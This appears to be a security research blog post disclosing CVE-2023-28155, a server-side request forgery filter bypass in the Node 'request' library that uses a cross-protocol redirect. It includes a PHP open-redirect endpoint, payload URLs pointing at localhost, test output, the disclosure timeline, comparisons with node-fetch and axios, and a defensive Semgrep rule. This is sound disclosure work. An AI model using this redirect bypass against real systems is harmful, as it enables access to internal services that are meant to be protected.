SSRF Cross Protocol Redirect Bypass

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Content

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Server Side Request Forgery (SSRF) is a fairly known vulnerability with established prevention methods. So imagine my surprise when I bypassed an SSRF mitigation during a routine retest. Even worse, **I have bypassed a filter that we have recommended ourselves**! I couldn't let it slip and had to get to the bottom of the issue.

Introduction

Server Side Request Forgery is a vulnerability in which a malicious actor exploits a victim server to perform HTTP(S) requests on the attacker's behalf. Since the server usually has access to the internal network, this attack is useful to bypass firewalls and IP whitelists to access hosts otherwise inaccessible to the attacker.

Request Library Vulnerability

SSRF attacks can be prevented with address filtering, assuming there are no filter bypasses. One of the classic SSRF filtering bypass techniques is a redirection attack. In these attacks, an attacker sets up a malicious webserver serving an endpoint redirecting to an internal address. The victim server properly allows sending a request to an external server, but then blindly follows a malicious redirection to an internal service.

None of above is new, of course. All of these techniques have been around for years and any reputable anti-SSRF library mitigates such risks. And yet, I have bypassed it.

Client's code was a simple endpoint created for integration. During the original engagement there was no filtering at all. After our test the client has applied an anti-SSRF library ssrfFilter. For the research and code anonymity purposes, I have extracted the logic to a standalone NodeJS script:

```
const request = require('request');
const ssrfFilter = require('ssrf-req-filter');

let url = process.argv[2];
console.log("Testing", url);

request({
  uri: url,
  agent: ssrfFilter(url),
}, function (error, response, body) {
  console.error('error:', error);
  console.log('statusCode:', response && response.statusCode);
});
```

To verify a redirect bypasss I have created a simple webserver with an open-redirect endpoint in PHP and hosted it on the Internet using my test domain `tellico.fun`:

```
<?php header('Location: '.$_GET["target"]); ?>
```

Initial test demonstrates that the vulnerability is fixed:

```
$ node test-request.js "http://tellico.fun/redirect.php?target=http://localhost/test"
Testing http://tellico.fun/redirect.php?target=http://localhost/test
error: Error: Call to 127.0.0.1 is blocked.
```

But then, I switched the protocol and suddenly I was able to access a localhost service again. Readers should look carefully at the payload, as the difference is minimal:

```
$ node test-request.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
error: null
statusCode: 200
```

What happened? The attacker server has redirected the request to another protocol - from HTTPS to HTTP. This is all it took to bypass the anti-SSRF protection.

Why is that? After some digging in the popular request library codebase, I have discovered the following lines in the `lib/redirect.js` file:

```
  // handle the case where we change protocol from https to http or vice versa
if (request.uri.protocol !== uriPrev.protocol) {
  delete request.agent
}
```

According to the code above, anytime the redirect causes a protocol switch, the request agent is deleted. Without this workaround, the client would fail anytime a server would cause a cross-protocol redirect. This is needed since the native NodeJs `http(s).agent` cannot be used with both protocols.

Unfortunately, such behavior also loses any event handling associated with the agent. Given, that the SSRF prevention is based on the agents' `createConnection` event handler, this unexpected behavior affects the effectiveness of SSRF mitigation strategies in the `request` library.

Disclosure

This issue was disclosed to the maintainers on December 5th, 2022. Despite our best attempts, we have not yet received an acknowledgment. After the 90-days mark, we have decided to publish the full technical details as well as a public Github issue linked to a pull request for the fix. On March 14th, 2023, a CVE ID has been assigned to this vulnerability.

- 12/05/2022 - First disclosure to the maintainer
- 01/18/2023 - Another attempt to contact the maintainer
- 03/08/2023 - A Github issue creation, without the technical details
- 03/13/2023 - CVE-2023-28155 assigned
- 03/16/2023 - Full technical details disclosure

Other Libraries

Since supposedly universal filter turned out to be so dependent on the implementation of the HTTP(S) clients, it is natural to ask how other popular libraries handle these cases.

Node-Fetch

The `node-Fetch` library also allows to overwrite an HTTP(S) agent within its options, without specifying the protocol:

```
const ssrfFilter = require('ssrf-req-filter');
const fetch = (...args) => import('node-fetch').then(({ default: fetch }) => fetch(...args));

let url = process.argv[2];
console.log("Testing", url);

fetch(url, {
   agent: ssrfFilter(url)
}).then((response) => {
   console.log('Success');
}).catch(error => {
   console.log('${error.toString().split('\n')[0]}');
});
```

Contrary to the `request` library though, it simply fails in the case of a cross-protocol redirect:

```
$ node fetch.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
TypeError [ERR_INVALID_PROTOCOL]: Protocol "http:" not supported. Expected "https:"
```

It is therefore impossible to perform a similar attack on this library.

Axios

The `axios` library's options allow to overwrite agents for both protocols separately. Therefore the following code is protected:

```
axios.get(url, {
   httpAgent: ssrfFilter("http://domain"),
   httpsAgent: ssrfFilter("https://domain")
})
```

Note: In Axios library, it is neccesary to hardcode the urls during the agent overwrite. Otherwise, one of the agents would be overwritten with an agent for a wrong protocol and the cross-protocol redirect would fail similarly to the `node-fetch` library.

Still, `axios` calls can be vulnerable. If one forgets to overwrite both agents, the cross-protocol redirect can bypass the filter:

```
axios.get(url, {
   // httpAgent: ssrfFilter(url),
   httpsAgent: ssrfFilter(url)
})
```

Such misconfigurations can be easily missed, so we have created a Semgrep rule that catches similar patterns in JavaScript code:

```
rules:
  - id: axios-only-one-agent-set
    message: Detected an Axios call that overwrites only one HTTP(S) agent. It can lead to a bypass of restriction implem
    mode: taint
    pattern-sources:
      - patterns:
        - pattern-either:
            - pattern: |
                {..., httpsAgent:..., ...}
            - pattern: |
                {..., httpAgent:..., ...}
        - pattern-not: |
                {...,httpAgent:...,httpsAgent:...}
    pattern-sinks:
      - pattern: $AXIOS.request(...)
      - pattern: $AXIOS.get(...)
      - pattern: $AXIOS.delete(...)
      - pattern: $AXIOS.head(...)
      - pattern: $AXIOS.options(...)
      - pattern: $AXIOS.post(...)
      - pattern: $AXIOS.put(...)
      - pattern: $AXIOS.patch(...)
    languages:
      - javascript
      - typescript
    severity: WARNING
```

Summary

As discussed above, we have discovered an exploitable SSRF vulnerability in the popular request library. Despite the fact that this package has been deprecated, this dependency is still used by over 50k projects with over 18M downloads per week.

We demonstrated how an attacker can bypass any anti-SSRF mechanisms injected into this library by simply redirecting the request to another protocol (e.g. HTTP to HTTPS). While many libraries we reviewed did provide protection from such attacks, others such as `axios` could be potentially vulnerable when similar misconfigurations exist. In an effort to make these issues easier to find and avoid, we have also released our internal Semgrep rule.